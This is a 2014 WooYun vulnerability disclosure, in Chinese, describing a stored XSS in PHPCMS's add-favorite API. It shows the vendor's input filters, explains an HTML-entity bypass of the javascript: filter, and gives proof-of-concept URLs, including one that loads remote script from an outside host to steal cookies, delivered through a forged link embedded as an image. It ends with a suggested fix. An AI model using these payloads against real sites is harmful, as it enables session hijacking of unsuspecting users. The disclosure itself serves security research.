当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061358

漏洞标题:PHPCMS 鸡肋存储型XSS

相关厂商:phpcms

漏洞作者: phith0n

提交时间:2014-05-20 14:53

修复时间:2014-08-15 14:54

公开时间:2014-08-15 14:54

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-19: 细节向核心白帽子及相关领域专家公开
2014-07-29: 细节向普通白帽子公开
2014-08-08: 细节向实习白帽子公开
2014-08-15: 细节向公众公开

简要描述:

虽说是存储型XSS,但比较鸡肋。。看客官怎么理解了。

详细说明:

文件/api/add_favorate.php是用户增加收藏的api文件。增加收藏是通过GET方式传值,接收url、title两个参数。url代表待收藏的地址,title代表标题。
一般包含了url的地方我们都应该注意一些,因为url可以通过伪协议javascript:这种方式来触发xss。
其中url参数经过了这两行的过滤:

$url = safe_replace(addslashes(urldecode($_GET['url'])));
$url = trim_script($url);


safe_replace函数如下:

function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','&lt;',$string);
$string = str_replace('>','&gt;',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}


可见虽然过滤了很多字符,但url在html属性href中,可以用html实体绕过。所以只要不过滤&、#就行了。
trim_script函数如下:

function trim_script($str) {
if(is_array($str)){
foreach ($str as $key => $val){
$str[$key] = trim_script($val);
}
}else{
$str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '&lt;\\1script\\2&gt;', $str );
$str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );
$str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );
$str = str_replace ( 'javascript:', 'javascript:', $str );
}
return $str;
}


可见,过滤了一些危险的html标签。特别注意的是,最后一个replace过滤了javascript:,将之转换成javascript:(中文冒号)。不过这个也一样可以通过html字符实体绕过。这里就不多说了。
但是但是,鸡肋的是……这个XSS更像一个SELF XSS,因为你的收藏只有你自己看得到。不过还好增加收藏的方法是GET方式,我们可以伪造一个增加收藏的链接作为图片地址让目标用户访问,就能为其增加一个包含xss的收藏。
下次他点击查看自己的这个收藏后,就会触发xss。
详见漏洞证明。

漏洞证明:

构造一个XSS链接,作为图片src或其他方式,让目标用户不知不觉访问。为其增加一个收藏。如下:

http://target/api.php?op=add_favorite&title=aaa&url=javascript%26%2358alert%28%2Fxss%2F%29


诱导目标用户访问以上链接,增加成功:

01.jpg


目标来到会员中心 - 收藏,发现多了一个收藏,因为好奇所以点开看看。点击就执行了:

02.jpg


给个加载远程js的exp:

http://target/api.php?op=add_favorite&title=dst content&url=javascript%26%2358%24.getScript(%26%2334http%3A%2F%2Fxss.com%2F9WfKui%26%2334)


可收到cookie:

03.jpg

修复方案:

检查url,如果开头不是http://或https://就强制增加http://。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-15 14:54

厂商回复:

最新状态:

暂无